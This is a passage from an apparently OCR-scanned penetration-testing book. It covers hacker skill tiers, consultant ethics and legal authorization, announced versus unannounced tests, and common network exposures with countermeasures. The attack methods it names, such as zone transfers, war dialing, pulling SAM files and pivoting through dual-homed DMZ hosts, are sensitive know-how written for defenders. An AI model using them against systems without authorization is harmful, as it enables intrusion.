A script or hacking tool can show the effect of a vulnerability on someone's network but
should be treated with definitive care. Once a tool is aimed and fired, it will have its effect
on the target regardless of the assailant's intention or understanding of how the tool works.

Of course, hackers in this tier are fairly easy to identify and/or catch (as compared with
first-tier hackers). In our lab, we have seen hackers attacking our NT honeypot systems by
using Unix-specific scripts (trying to NFS mount an NT share). They generally do not
attempt to cover their tracks; in fact, they may perform activities that attract attention, such
as running port scans against all possible ports, 1-65535. With minimal intrusion detection
and monitoring capabilities these attempts can be stopped.

Tier-three hackers generally hack as a hobby and are usually in search of notoriety. They
feel, perhaps from watching movies, that by successfully “hacking” a system, they will



become “elite.” This is the attraction in working with a programmer —it holds the promise of
valuable experience and the fame/infamy script kiddies seek. Publicity seeking is one of
the main reasons why these hackers get caught. They are so interested in becoming
known that they tell everyone about their latest conquest on hacker IRC channels.

Script kiddies do not necessarily have computer-related professions. In fact, given that they
are often the younger people on the Internet, they may still be in high school. They run the
code they find on the Internet on their office, home, or school network. Most large
organizations have at least one individual with enough computer knowledge to obtain
hacking tools but no authorization to run them. Curiosity about how the tools work and what
information might be obtained leads to an unauthorized security breech. Tier-three hackers
spend their time surfing the Internet in search of the latest and greatest automated hacker
tools. Their tool set is generally entirely downloaded from the Internet as is. Often they
scan the Internet looking for a site susceptible to the latest exploit they have just learned to
see if it really works. Tier-three hackers are generally recipients of security mailing lists,
though they may not be regular contributors, and are often vocal in hacker IRC channels.
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2.2 Information Security Consultants

An information security consultant typically tries to help organizations become safer and
more secure from hackers. They are usually individuals with a technology-related degree
or equivalent technical experience gained either professionally or as a hobby. They likely
have a large collection of licensed security tools (commercial, freeware, or shareware), are
familiar with all of them, have a user-level understanding of a majority of them, and are
extensively experienced with the workings of one or two favorite tools in each tool
category. For example, they may have a favorite port scanner, a favorite war dialer, and a
favorite vulnerability scanner that they use in their penetration-testing engagements.

An information security consultant does not need to have a programmer's understanding of
a network in order to be effective at performing a comprehensive analysis of a network's
security posture. A consultant is most likely a member of the middle tier of hackers in terms
of experience and skill. Many of the better consultants started with system administration
positions.

A consultant must have a sufficient tool set and a reliable methodology for performing
penetration testing. Also, the consultant's area of specialization must be relevant to the
client's network environment. For example, while a Unix expert can contribute to or even
perform the testing of an NT network, and someone with intimate knowledge of Check
Point Firewall-1 can attack a Gauntlet firewall, the optimal case would be for the
consultant's area of specialization to match with the OS type and the applications run by
the client. When selecting a consultant for a security engagement, inquire as to the
consultant's area of specialization before assuming they are qualified to do the job.

The most important quality an information security consultant must possess is integrity.
Consultants have access to critical systems and data. In addition, the tools and techniques
they use have the potential for seriously affecting production systems. An organization
must be able to trust that consultants will use good judgment and discretion in the work
they perform. A security consultant who leaks information from a penetration test could
damage a company's stock price, image, or both. Organizations should make sure the
consultants they hire possess a track record of honesty and integrity.
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2.3 Hacker Myths

All the perceptions of hackers and their portrayal in movies and entertainment have lead to

the development of “hacker mythg.” These myths involve common misconceptions about
hackers and can lead to misconceptions about how to defend against them. Here we have
attempted to identify some of these myths and dispel common misconceptions.

1. Hackers are a well-organized, malicious group.

There is indeed a community within the hacker underground. There are
hacking-related groups such as Alt-2600 and Cult of the Dead Cow, IRC “hacking”
channels, and related newsgroups. However, these groups are not formed into a
well-organized group that targets specific networks for hacking. They share a
common interest in methods for avoiding security defenses and accessing
restricted information.

2. If you build it, they will come; and
3. Itis safeif you hide in the tall grass.

Both of these myths represent opposing views on the probability of being hacked.
Myth 2 is indicative of the view that once an Internet presence is established,
malicious hackers will begin to attempt a compromise. Myth 3 expresses the
opinion that there are so many Web sites around that if you just do not make a lot
of noise and do not have one of the truly big sites, publicity-seeking hackers will not
bother to go after you.

The truth lies somewhere in the middle. You will probably be scanned by users with
malicious intent, but it may not happen the moment your systems go online. Some
scans will be by groups trying to get an idea of how many Web sites are using a
particular piece of software. Others are unethical (but legal) system
reconnaissance.

A good plan is to develop a security posture that balances the risk of system
compromise with the costs of implementing and maintaining security measures.
This will allow you to sleep at night. While you may not stamp out the chance of
compromise entirely, you will have done what you can to prevent and limit the



compromise without killing your budget.
4. Security through obscurity.

Myth 4 implies that because you are small and unknown or you hide a vulnerability,
you are not at risk. For example, according to this myth, if you create a Web site
but give the URL only to your friends, you don't have to worry about it being
attacked. Another example we have seen is the creation of a backdoor around a
firewall by putting a second network card in a DMZ system and directly connecting
it to the internal network. People using such a strategy think that because they
have hidden the weakness, no one will find it and the organization is safe.
However, security through obscurity does not work. Someone will find the
weakness or stumble upon it and the systems will be compromised.

5. All hackers are the same.

This myth is borne out of a lack of knowledge among the general public about the
hacker community. All hackers are not the same. As mentioned above, different
hackers focus on different technologies and have different purposes and skill
levels. Some hackers have malicious intent; some don't. They are not all teenagers
who spend far too much time in front of a computer. Not all hackers are part of a
group that defaces Web sites and creates and distributes hacking tools. The range
among hackers is great, and you need to defend against them all.
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2.4 Information Security Myths

The spread of technology has brought computers more and more into our daily lives. It has
brought along with it a collection of myths repeated so many times they seem to be true.
These myths can breed either a false sense of security or a sense of paranoia. Neither of
these conditions is desirable. Therefore, we seek to dispel these myths to help you further
understand the computer security threat.

1. Virus scanning software provides total virus protection.

Virus scanning software can detect and defend against viruses with known
signatures. New viruses, whose signatures have likely not been determined, may
not be detected and can still pose a threat to systems. Virus scanning software
needs to be upgraded regularly (at least monthly) and is generally sold on a
subscription basis to automatically provide customers this level of protection.

2. Computer connections are untraceable.

Many people assume they cannot be traced when they are online. They
erroneously believe that if they give a fake name and address when signing up for
free e-mail or with an ISP for an Internet connection, they have hidden themselves
among the millions of users speeding around the World Wide Web. If they steal a
user name and password from someone in another state, they feel they have
gained complete anonymity on the information superhighway. In reality, the use of
anonymizing systems, remote networks (sometimes in different countries), and
spoofing software is required to achieve even a small degree of anonymity. Even
then, your ISP is probably logging your initial point of entry onto the Internet.

It is easy to go to one of the countless free e-mail services on the Internet, supply
bogus information, and get an account. However, your privacy is not protected.
That e-mail service knows from which Web site (if any) you came to its site and the
IP address of the machine you used. It can find the owner of the IP address from a
“whois” query. If you signed up from home, your ISP has likely dynamically
assigned you an IP address from the collection it owns. It records the time and day
that it gave you this address and can share this information with federal, state, and
local authorities as well as interested corporations (though a legal warrant may be
required). Additionally, the use of cookies on the Web makes information about



what sites you visit and what software you own easier to track.

Even if you are able to access the Web from a private ISP, the use of Caller ID
software and system callback are making it increasingly difficult to remain
anonymous. As authentication mechanisms improve and the cost of disk space for
logs drops, it will become even harder to obtain anonymity.

3. Once you delete afile, it's gone!

When you delete a file, it is not removed from the disk. Under the Windows OS, the
space on the disk that is being occupied by this file is simply marked as “available
space.” This allows for programs, like the Windows Recycle Bin, to undelete a file
after you have erased it. Additionally, it has been proven by some forensics experts
that a file can be retrieved even after it has been overwritten nine times. At that
level, an electron microscope is required. However, files overwritten up to two times
can be retrieved using currently available software. To effectively remove a file
permanently, a program such as Wipe Disk, which overwrites a file or drive with 0Os,
1s, and then Os again, should be used. (There are some individuals who believe
they can still successfully retrieve at least portions of the data from the actual
physical memory.)
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Chapter 3. Penetration for Hire

This chapter discusses the skills and requirements generally expected of a person
performing security penetration services. You can use this information to help determine
what skills you will need to perform penetration testing or as a general guide of what to
look for when hiring a security consultant to perform these services. We discuss the
contents of the consultant's tool kit, or black bag, including the software and hardware

ikely required. (The tool kit is discussed only briefly here; it is covered more fully in
Chaéter 1&.) Further, we discuss the two variations of a penetration test: announced to the
security team and system administrators or unannounced. In either case, management
must always be fully aware and in support of your activities.

Documented support for your activities from top-level management is a key component of
any penetration test. The activities associated with penetration testing are considered
illegal under almost any circumstances other than at the request of the company. In the
following section we discuss some of the legal issues we have encountered while
performing these tests.

We also include as a requirement of being a security consultant the upholding of the
professional standards and ethics that are an essential part of the position. The tester may
have access to sensitive data within the organization that could be of material
consequence if disclosed. The organization must be confident that this information will not
end up in the wrong hands. Untrustworthy testers are also in the position to leave back
doors and Trojans to allow them access after the testing is complete. In addition, the
results of penetration tests must be kept confidential. Computer security today is a hot topic
within the media and Wall Street. Either group could produce a substantial effect on the
organization if poor test results were disclosed. Most professional security consultants are
well aware of these ramifications and maintain high standards of integrity and discretion.
However, background checks and references are a small safeguard to assure you are
hiring a trustworthy individual.
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3.1 Ramifications of Penetration Testing

Penetration testing could have very serious ramifications if not performed properly.
Normally, companies continue to conduct business while the testing is being performed.
This increases the impact to the company if a system goes down or is unintentionally
rendered useless. For these clients, these systems should be considered “critical” and
addressed with due care. The company's management is faced with maintaining a balance
between making sure the testing is complete and ensuring they are still able to do business
so that revenue is not lost.

Further, the machines and systems being tested are very expensive. Considering the cost
of configuration and ongoing maintenance and taking into account the data and other
electronic assets (such as client databases, proprietary code, documentation, and other
often irreplaceable intellectual property) on these machines, the overall cost (or value) of
these systems can be tremendous.

In light of this, the potential legal consequences can be quite serious as well. A request
from a company employee to perform a penetration test is not necessarily a valid request.
If that person does not have the authority to request such actions and indemnify you if
anything goes wrong, you may incur fees related to court costs in addition to loss of fees
for services. Therefore, legal agreements must be reached before the testing begins, and
the tester needs to make sure he or she has a signed “Get Out of Jail Free Card” from a
company officer authorized to enter the organization into a legally binding agreement. The
“Get Out of Jail Free Card” generally entails a legal agreement signed by an authorized
representative of the organization outlining the types of activities to be performed and
indemnifying the tester against any loss or damages that may result from the testing.

During the initial discovery phase of a penetration test, identify the owners of the hardware
and software affected by the test. Both need to agree to the test before it begins. Often,
and this is especially true for the e-commerce initiatives of Internet startup firms, the
machines that support networking capabilities are leased from an Internet/application
services provider. Also, firms may have their ISP configure the router that leads to their
network in some way to help them filter traffic coming into their network. When this is the
case, clients can also ask the consultant to test the ISP's settings and service claims by
performing various tests on the ISP's router and systems, including denial-of-service tests.
In such cases, you will need to get permission from the ISP as well as your client due to
the involvement of the ISP's assets. If you plan on placing any significant load on the ISP's
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3.2 Requirements for a Freelance Consultant

There are certain requirements that you must meet in order to be an effective penetration
tester in a freelance consultant role. The requirements deal with your level of security skills,
your systems and network knowledge, the depth and breadth of tools at your disposal, and
the OS and hardware on which you use them. Also critical is your attention to record
keeping and maintaining the ethics of security. Potential employers of security consultants
performing penetration services should consider the following list before hiring a
consultant.

3.2.1 Skill Set

A security consultant must be at least at the system administrator level (tier-two hacker) in
order to effectively render security advisory services. This is not to say that script kiddies
do not recognize security flaws or cannot hack—as previously stated, they often do more
damage than hackers at any other level. Script kiddies generally do not have a complete
understanding of the tools and exploits they use, and therefore they either miss critical
holes or potentially damage systems.

As a paid consultant, you are expected to definitively assert what you are doing and all the
potential effects your actions may have. Specifically, you should be able to defend your
choice of tool, why you use it, and what you use it for during testing. You are also expected
to answer any and all questions related to a tool's configuration. Some of these security
tools can cause considerable damage or downtime to networks if not used properly. At the
conclusion of the test, you will be asked to articulate the method used to penetrate the
systems and to deliver recommendations on how to fix the security holes identified during
testing.

3.2.2 Knowledge

Successful security consultants should be familiar with several pieces of technology, such
as firewalls, intrusion detection systems, sniffers, audit tools, authentication
mechanisms—the list goes on. While it is certainly advisable to be an expert in as many
technologies as possible, the tester must at least be familiar with how the technology works
(and the products that implement the technology) in order to find ways around the security
that these systems provide. The tester should be knowledgeable in all the major operating



systems (Windows, UNIX, Mac OS, and possibly Novell) and an expert in one. In-depth
knowledge of TCP/IP and networking protocols is required. Knowledge of application
programming or past programming experience can also be helpful since many new exploits
are constantly released as “working” code with occasional flaws. Such experience comes
in handy when writing various attacks, such as buffer overflows.

The tester must be able to use various hacking tools, scripts, and exploits in order to test
for known bugs and vulnerabilities. Further, the tester should have access to vulnerability
services that can keep him or her apprised of the latest hacking tools, scripts, and exploits
as well as new security bugs discovered in all the major hardware, software, and operating
systems. This does not have to be a paid service, but it must be reliable and up-to-date,
and it must provide information on how to exploit known bugs as well as offer a
comprehensive collection of exploits and tools.

Keeping current on the latest security developments and trends is essential for any
successful security consultant. The security consultant should subscribe to and participate
in a collection of security e-mail lists. In addition to reading technical material, security
consultants should periodically review what is being posted to “underground” Web sites.

The best way to defend against or exploit threats is to understand them. In [Chapter 22, we
present several Web sites, e-mail lists, and other sources of information as a good starting
point for learning about and keeping abreast of developments in the security industry.

3.2.3 Tool Kit

Consultants develop a collection of useful software, a tool kit, with tools and scripts for
performing all types of security work, such as vulnerability testing, penetration testing,
dial-in penetration, Internet penetration, denial of service, password cracking, buffer
overflows, and risk assessments. This tool set should cover both the Windows
(9x/NT/2000) and the UNIX (including the variants, Linux, HP/UX, AlX, IRIX, DG/UX, the
BSDs, and so on) operating systems. We have included tools in this book that we have
found useful, but by no means do they form the definitive tool kit. As your own technique is
developed, you may find additional or alternative tools that work better for your style.

3.2.4 Hardware

Penetration testing often uses a lot of CPU time and bandwidth. The more powerful the
machine, the better the efficiency. We have found that a dual-boot Linux/NT laptop (with
the latest CPU, the most RAM, and as fast as possible) to be an adequate configuration. A



laptop is often better than a desktop because is allows for mobility. Running VMWare
allows you to run both operating systems simultaneously. This adds convenience, in that
tools are generally available for at least one of these environments, but it costs more in
terms of processor speed and memory.

Additionally, running a keystroke capture utility is an effective way to log the test. These
utilities record and time stamp all activities at the keystroke level, to some extent offloading
the record-keeping burden from Zou to the laptop. The hardware used for testing is

discussed in more detail in IChapter 1d.

3.2.5 Record Keeping

Keeping accurate, detailed records is a critical activity for a penetration tester. We
recommend your records provide enough detail to recreate the penetration test steps. In
the unfortunate event that a company should claim that a consultant is responsible for
damages incurred as a result of penetration testing, reviewing the records will be the first
step in resolving the issue.

The record should detail everything that was performed during testing, including every tool
used and every command issued and the systems or IP addresses against which they
were used. A useful practice is to document your procedures as you perform them and to
use the last part of the day to type up your notes and record your results.

Occasionally a system administrator might accuse a tester of being responsible for attacks
that took place before or after the work was performed. In order to defend against these
accusations, detailed documentation is required. Logs from a keystroke capture utility as
well as your own notes provide the basis of defense.

Not only is it important to keep track of the actions performed during the penetration
testing, it is also important to keep track of all the information gathered on your client. This
may include information on weaknesses in the client's network, password files, the
business process, and any intellectual property such as documentation on patent-pending
processes. It is important to keep this information so you can present it to the client to
verify you were able to access it and to stress the importance of the weaknesses that
allowed you to obtain it. However, all information obtained from the client should be treated
as highly confidential. If this information were to get out, to a hacker or a competing firm, it
could put the client at significant competitive disadvantage, leading to a loss of capital. In
addition, news of a successful penetration test may also lead to a drop in consumer
confidence.



3.2.6 Ethics

Penetration testing engagements are bound by the scope and length set forth in the rules
of the engagement. These rules are specified by the client and enable the organization to
feel comfortable enough to allow the testing to proceed. These rules address issues of
denial of service, contact information, scope of project, and timetables. This information
provides the boundaries of the engagement and cannot be misinterpreted.

At issue here is trust. One of the key things security consultants have to offer their clients is
assurance and confidence that while the consultant is examining the client's security, they
will not be planting back doors or compromising the client's network. Unfortunately, there is
no script or tool that guarantees the consultant's integrity. Each consultant must carefully
protect his or her integrity on every engagement and assignment. If your integrity is
questioned, even once, you will not recover from the accusation. There is little room for
error, accidents, or problems. Penetration testing requires the client to give a great deal of
trust to a consultant. That trust must be protected.
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3.3 Announced vs. Unannounced Penetration Testing

There are two distinct types of testing that can be performed: announced and
unannounced. The distinction comes when you define what is being tested: network
security devices or network security staff.

3.3.1 Definitions

The following definitions help clarify the differences between the two types of testing.

® Announced testing is an attempt to access and retrieve preidentified flag file(s)
or to compromise systems on the client network with the full cooperation and
knowledge of the IT staff. Such testing examines the existing security infrastructure
and individual systems for possible vulnerabilities. Creating a team-oriented
environment in which members of the organization's security staff are part of the
penetration team allows for a targeted attack against the most worthwhile hosts.

® Unannounced testing is an attempt to access and retrieve preidentified flag
file(s) or to compromise systems on the client network with the awareness of only
the upper levels of management. Such testing examines both the existing security
infrastructure and the responsiveness of the staff. If intrusion detection and incident
response plans have been created, this type of test will identify any weaknesses in
their execution. Unannounced testing offers a test of the organization's security
procedures in addition to the security of the infrastructure.

In both cases, the IT representative in the organization who would normally report security
breaches to legal authorities should be aware of the test to prevent escalation to law
enforcement organizations.

Also, management may place certain restrictions on the penetration test itself, such as the
need to perform a portion of the test (for example, war dialing) after hours, to avoid certain
critical servers on the network, to use only a certain subset of tools or exploits (for
example, to omit denial-of-service tools), and so on. Such guidelines that come from upper
management apply regardless of the type of engagement. At the conclusion of the
engagement, system administrators should be able to review logs to identify the
penetration test and to help them identify attacks in the future.



3.3.2 Pros and Cons of Both Types of Penetration Testing

Everything has its advantages and disadvantages. In this section, we discuss the pros and
cons of each type of penetration testing.

Pros Announced testing is an efficient way to check on and tweak the security controls

the organization has in place. It creates a team-oriented approach to security and allows
the organization's staff to experience firsthand what their network looks like to a possible
intruder. Additionally, working with the IT staff allows the tester to concentrate efforts on

the most critical systems.

Unannounced testing requires a more subtle approach. The tester tries to identify targets
and compromise the security while staying under the radar screen of the target
organization. This test may prove more valuable to the organization due to the range of
items tested beyond the technology.

Cons With announced testing, as large holes are identified on the client network, system
administrators will close them quickly to avoid compromise. This can make further
penetration difficult by not allowing further compromise of the vulnerability. Additionally, an
announced test allows security staff time to make temporary changes to the network that
add additional security. This gives management a false sense of security. The network
may be secure during testing, but as soon as testing is complete and the original settings
are restored, any original vulnerabilities will return as well, unbeknownst to the
organization.

The risk with unannounced testing is that since the security administrators do not know that
a test is being performed, they will respond as they would to a hacker and block the
penetration testing efforts (drop connections, reboot machines, and so on). This would
indicate a good response/detection process is in place, but it can cut a test short. The
danger with this test is that occasionally security administrators have been known to
contact the relevant authorities to report the penetration activities. To control this risk, the
organization should have an escalation process in place with a specific individual being
responsible for contacting authorities. This person should be aware the test is taking place.

Another risk during unannounced testing is that administrators may be making
modifications to the environment during the testing period, which could skew the results. If
the network administrator is upgrading a system, implementing a new service, or taking
certain systems offline during the test, the results may not be as useful as they otherwise
would. Additionally, the tester should be aware of quarterly or semi-quarterly events (such



as large transfers of information from accounting) and backup schedules to avoid
interfering with these operations.

3.3.3 Documented Compromise

At times during penetration testing, the client may be uncomfortable with allowing the tester
to perform the actions that actually lead to a compromise. For example, it may be possible
to access the router for network A and alter its routing table to appear as if the (attacking)
network is a trusted, internal network and then route traffic from that network through the
router to another trusted, internal network, network B. Then this compromised router would
be able to connect the tester and the target network (B), bypassing security measures
through its trust relationship with a less secure network (A).

However, the client may not want this activity to be performed. Altering the routing table
may lead to additional complications for the client's network. The client may be satisfied
that you can demonstrate that it can be done and describe how to fix the situation. Screen
shots of documented system access may work well for this purpose. In such cases,
document the possible hack along with its risk level and available countermeasures.
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Chapter 4. Where the Exposures Lie

Now that we have examined the lurking threat to computer security and analyzed the
profiles of potential hackers, we need to look at where the holes lie in systems and
networks that allow these hackers to be successful. These security holes, which can be
due to misconfiguration or poor programming, should be identified for several reasons.
First, common security holes are the areas the organization should address quickly. You
need to either close the hole or learn more about it in order to mitigate the risk created by
the exposure. Second, the common holes are the areas you need to look for during your
penetration test. These holes are often called the “low-hanging fruit” in reference to being
fairly easy to identify and exploit.

Breaking into systems can be relatively simple if someone has not properly patched and
secured the systems against the latest vulnerabilities. Keeping systems up to date has
become increasingly difficult with larger multi-OS distributed networks and smaller staff
budgets. The issue facing administrators trying to keep systems up to date is that 20—70
new vulnerabilities are published each month on Bugtraq, eSecurityonline, and other
vulnerability services. Unfortunately, hackers have a window of opportunity between the
time someone publishes the vulnerability and the time the vulnerability is patched or
addressed on the systems. The longer this window stays open, the more the odds of
compromise increase. One of the keys to keeping your network secure is to constantly
monitor for emerging vulnerabilities and to patch your systems against them. The more
responsive administrators are to closing the holes, the more secure your systems will be.

Configuration errors create a risk that enables attackers to penetrate systems. Examples of
configuration errors include leaving unnecessary services open, assigning incorrect file
permission, and using poor controls for passwords and other settings that a system
administrator can set. Organizations can reduce configuration errors by creating baseline
standards and configuration management procedures. In addition, proper penetration
testing will identify many configuration holes that could allow an attacker to gain access to
systems.

There is no way to close all possible access points to a network. With enough time or
money, any system could be compromised. However, keeping patches up to date and
testing your systems will effectively close 80—90 percent of the holes.

Our experience with testing system security has revealed exposures that consistently



resurface in multiple companies. Consequently, we have developed a list of common
security holes that we have successfully exploited. The list is not all inclusive, but it can
serve as a starting point for organizations taking steps to secure their systems.
Organizations should look for these and other vulnerabilities when performing penetration
testing.

Not surprisingly, many of the holes we list in this chapter are the same as those published
by the System Administration, Networking, and Security (SANS) Institute in October 2001.
The SANS Institute did an excellent job of consolidating its list to the top 20 high-risk
vulnerabilities. Our list covers many of the SANS items plus other holes we have found to
affect networks. The SANS list is an excellent reference, and a complete copy of the report
can be found in .

Some of the vulnerabilities we list below enabled us to directly compromise the target
systems, while others provided information that helped us develop our attack. Some of the
holes are specific, while others cover larger, more general issues. We follow the list with a
description of each vulnerability and, where applicable, give countermeasures to help close
the hole.
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4.1 Application Holes

Application holes is a general category referring to specific programming errors or
oversights that allow hackers to penetrate systems. (Throughout the list we separately
cover holes in specific applications that we are able to exploit frequently (such as
sendmail).) As part of a penetration test you identify applications running on remote
systems. Once identified, you can perform a search for vulnerabilities and exploits that
affect the applications. Application identification is often performed by capturing the
application's banner, which frequently offers version information. By searching vulnerability
databases and the Web for exploits specific to these versions, you can often find exploits
or processes that can lead to a system compromise. For example, in one engagement we
were initially unable to gain access to any of the systems in the company's demilitarized
zone (DMZ), but we did identify several applications and versions that were running on the
systems. After performing some research, we discovered a vulnerability in the Compaq
Web management service that enabled us to capture the backup SAM file out of the
system's repair directory. The system OS was patched and configured correctly. However,
the applications running on the system were not.
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4.2 Berkeley Internet Name Domain (BIND) Implementations

BIND is a common package used to provide domain name service. Systems use DNS to
resolve host names to IP addresses and vice versa. The SANS list names BIND as one of
the top security threats. Since BIND is so widely distributed and the DNS servers on which
it is installed are usually accessible from the Internet, it is a common target for attacks.
Unfortunately, many versions of BIND are vulnerable to exploits that enable hackers to
gain control of the system or extract information that will help exploit the DNS server or
other system. The BIND vulnerabilities commonly found include buffer overflows and denial
of service attacks.

BIND should be limited to only those servers that are performing a DNS role. These
servers should have the latest version of BIND installed and a process in place to keep
these systems up to date. In addition, BIND can be run as a nonprivileged account and
should be installed in a chroot()ed directory structure.

| |l@ve RuBoard




| l@ve RuBoard

4.3 Common Gateway Interface (CGl)

CGl vulnerabilities can be found on many Web servers. CGI programs make Web pages
interactive by enabling them to collect information, run programs, or access files.
Vulnerable CGI programs normally run with the same privileges as the Web server
software. Therefore, a hacker who can exploit CGI programs can deface Web pages,
attempt to steal information, or compromise the system.

Developers need to think about the security implications of the CGI programs they develop
and incorporate security into them. CGI programs should run with the minimum privileges
needed to complete the operations they were designed to accomplish. Also, Web servers
should not run as the system's root or administrator. Interpreters used with CGlI script, such
as “perl” and “sh,” should be removed from CGI program directories. Leaving these
interpreters in CGI program directories allows attackers to execute malicious CGI scripts.
Using scanning software such as vulnerability scanners or CGI scanners can also help find
and provide information to correct CGI vulnerabilities. More information on vulnerability
scanners and CGI scanners can be found in and B respectively.
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4.4 Clear Text Services

Clear text (unencrypted data) services represent another weakness in networks. Clear text
services transmit all information, including user names and passwords, in unencrypted
format. Hackers with sniffers (tools that passively view network traffic) can identify user
name and password pairs and use them to gain unauthorized access. Services such as
HTTP basic authentication, e-mail, file transfer protocol (FTP), and telnet are examples of
services that transmit all communications in clear text. A hacker with a sniffer could easily
capture the user name and password from the network without anyone's knowledge and
gain administrator access to the system.

You should avoid using clear text services. Secure services that encrypt communications,
such as Secure Shell (SSH) and Secure Socket Layer (SSL), should be used. Additionally,
network segmentation using switches and routers canhelp defend against sniffing. You can
find more information on sniffers in [Chapter 14.
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4.5 Default Accounts

Some applications install with default accounts and passwords. In some instances, the
installation documentation uses a default user ID and password that the installer uses with
the intention of changing them later. Most of these default accounts have default
passwords associated with them, and even if administrators have changed the default
passwords on these accounts, the accounts themselves are common targets for attack.
Hackers know these default account names and use them as a starting point for brute
force attacks and password guessing. The hacker can supply the default account to a brute
force tool so that the tool then has to find only the correct password. Often these default
application accounts have administrator privileges. Therefore, once a hacker compromises
the account, he or she has administrator rights over the system. System administrators
should rename or delete these default accounts so that they are less likely to become
targets for attackers.
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4.6 Domain Name Service (DNS)

While the DNS software BIND has vulnerabilities associated with it, the DNS service in
general also has exposures that affect security. Systems use DNS to resolve host names
to IP addresses and vice versa. Unfortunately, many servers are configured to provide too
much information about a network. For instance, a DNS server can be misconfigured to
allow zone transfers by which an attacker can obtain host information about an entire
domain. In addition, DNS records may provide unnecessary information, such as the
address of the internal servers, text lines, system secondary names, and system roles that
an attacker could use to formulate an attack.

Organizations should verify the information their DNS servers are providing to ensure no
unnecessary information can be obtained from the Internet. In addition, administrators
should configure DNS servers to restrict zone transfers. Discovery tools are helpful for
performing zone transfers and DNS queries to review the information provided by the
server.

Unfortunately, since these servers need to be accessible from the Internet in order to
provide the?service, they are also a popular target for attackers. Steps should be taken to
make sure the DNS server has been securely configured and that the system (hardware,
operating system, and any applications running on it) is updated and monitored for
vulnerabilities. Zone transfers should be limited to specific IP addresses that require the
ability to update zone information. Vulnerability scanners and discovery tools can be used

to help identify exposures in DNS implementations. You can find more information on these
tools in and @ respectively.
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4.7 File Permissions

Improper file permissions can be the source of several vulnerabilities. File permissions
determine not only what the user has access to but also what programs that user can run.
Additionally, since some programs will run under the context of a higher-level user,
misconfiguration on these programs might allow a user to elevate his or her access.
Sometimes directories are made world writable or give full control to the “everyone” group,
leaving hackers with an open door into the systems. You should regularly review file
permissions and set them at the most restrictive level possible while still achieving the
desired result of the sharing operation.
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4.8 FTP and telnet

We mentioned FTP and telnet earlier under clear text services, but they have other security
exposures in addition to transmitting information in unencrypted format. If an attacker can
obtain access to a login prompt for FTP or telnet, he or she may be able to use brute force
to guess a user name and password. In addition, anonymous FTP is frequently open on
systems running FTP. Normally the anonymous user can obtain only read access, but
even read access can yield valuable information that will enable the hacker to exploit more
systems. Improperly configured anonymous FTP may allow write access or enable the
attacker to access directories other than the FTP directory (for example, /etc/passwd or
/winnt/repair/sam._).

Also, many versions of FTP have vulnerabilities that can lead to compromise of the system.
For example, WFTP is reported to be vulnerable to several buffer overflows that enable an
attacker to execute code on the host or to view files and directory structures. The FTP
server that was included with older versions of Solaris was susceptible to a buffer overflow
that could enable an attacker to recover passwords for local users. You should research
the version of FTP to see whether there are any vulnerabilities associated with it.

If telnet and FTP are not needed on a system, they should be removed. Also, rather than
using services like FTP and telnet, administrators should use products such as SSH that
encrypt the entire session. In addition, system administrators could limit access to the login
prompts for these applications to specific IP addresses using programs that allow for TCP
wrappers.

| |l@ve RuBoard




| l@ve RuBoard

4.9 ICMP

We have found many organizations fail to block ICMP at the border router or firewall. ICMP
iIs commonly famous for the ping utility, as well as its use in many denial-of-service tools. In
addition, other vulnerabilities are associated with ICMP, such as obtaining the network
mask, time stamp, and other useful information. Several scanner programs are configured,
by default, to not scan systems that are unresponsive to pings. Disabling ICMP makes it
more difficult for unskilled hackers to scan the network. Ping and traceroute, which use
ICMP, are often used to troubleshoot systems by determining whether the systems'
network interface cards are functioning or where, in a network path, communications errors
may be occurring. However, attackers can use ping to identify systems as targets. The
attacker can also use traceroute to map network paths to systems.

While ICMP is useful in troubleshooting, it should be carefully reviewed for its necessity.
ICMP should be denied at the border router and firewall. If ICMP is necessary, it should be
limited to select hosts for troubleshooting capabilities.
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4.10 IMAP and POP

IMAP and POP are mail protocols that enable users to remotely access e-mail. Since these
protocols are designed and used for remotely accessing mail, holes are frequently open in
the firewall allowing IMAP and POP traffic to pass into and out of the internal network.
Because this access is open to the Internet, hackers frequently target these protocols for
attack. Many exploits are available that enable hackers to gain root access to systems
running IMAP and POP protocols.

To defend against these exploits, system administrators should first remove IMAP and
POP from the systems that do not need these services. Additionally, system administrators
should ensure they are running the latest versions of the software and should monitor for
and obtain all system patches.
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4.11 Modems

Rogue modems on user desktop machines represent another back door into corporate
networks, usually unknown to system administrators. In addition, we have found several
instances where some system administrators used modems to connect to internal
corporate systems from their homes. In some cases, employees put modems on their
desktop PCs when they left for the day so they could continue working or Internet surfing
from home. The systems containing these unknown modems are often poorly configured
and are susceptible to attacks. Hackers use brute force dialing programs called war dialers
to scan ranges of corporate phone numbers to identify modems. Some war dialer
programs can also identify the type of system to which the modem is connected. Hackers
can exploit such a modem connection to gain access to the system and use it as an entry
point into the network. Poorly controlled or unknown modems contribute to a major security
weakness in today's corporate environment.

Organizations should develop strong policies against the use of unauthorized modems.
Security administrators should routinely scan their company's phone number blocks
looking for unknown modems and identifying the response of known modems.
Authentication for authorized modems should be strengthened to two-factor or token-based
authentication. War dialing and dial-up penetration testing are covered in more detail in

Chapter 6.
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4.12 Lack of Monitoring and Intrusion Detection

Lack of monitoring and intrusion detection is another common hole that enables attackers
to penetrate systems undetected. Many of the organizations we have encountered do not
have monitoring in place, have it improperly configured, or do not review it on a regular
basis. Without proper monitoring, attacks can go unnoticed. If not detected, an attacker can
perform more intrusive techniques to compromise the systems. Given enough time the
attacker can probe the systems until he or she finds a weakness. In addition, the attacker
can run brute force tools until successful or until someone finally notices the attack. Proper
monitoring and intrusion detection are_essential to security. We cover monitoring and

intrusion detection in greater detail in Chapter 19.
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4.13 Network Architecture

In several engagements poor network architecture has enabled us to bypass firewalls and
other controls to obtain access to the internal network. A secure network architecture
should be designed to segment the internal network from the Internet and filter all traffic

through a firewall (see Eigure 4-1)). Also, publicly accessible systems such as Web servers,
DNS servers, and mail relays should be located in secure DMZs. The organizations we
have found that did not follow these best practices experienced weaknesses that enabled
us to obtain unauthorized access. For instance, several organizations have dual-homed
hosts in the DMZ. A dual-homed host is one that has a second network card connected to
another network segment and is not intended to act as a router. In these instances, the
second network card was connected to the internal network. Therefore, by exploiting the
dual-homed host in the DMZ we were able to access the internal network without having to
penetrate the firewall. In other cases, publicly accessible systems were placed in front of
the firewall with no protection. To make matters worse, administrators allowed some of
these systems to communicate with internal systems through the firewall. By compromising
these external systems, we were able to go through the firewall (since the rules permitted
these hosts to communicate with internal systems) to internal systems. Administrators
should not allow systems in DMZs to initiate communications with internal systems.

Figure 4-1. Network architecture diagram
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For instance, a DMZ system should not be allowed to FTP to an internal system. The
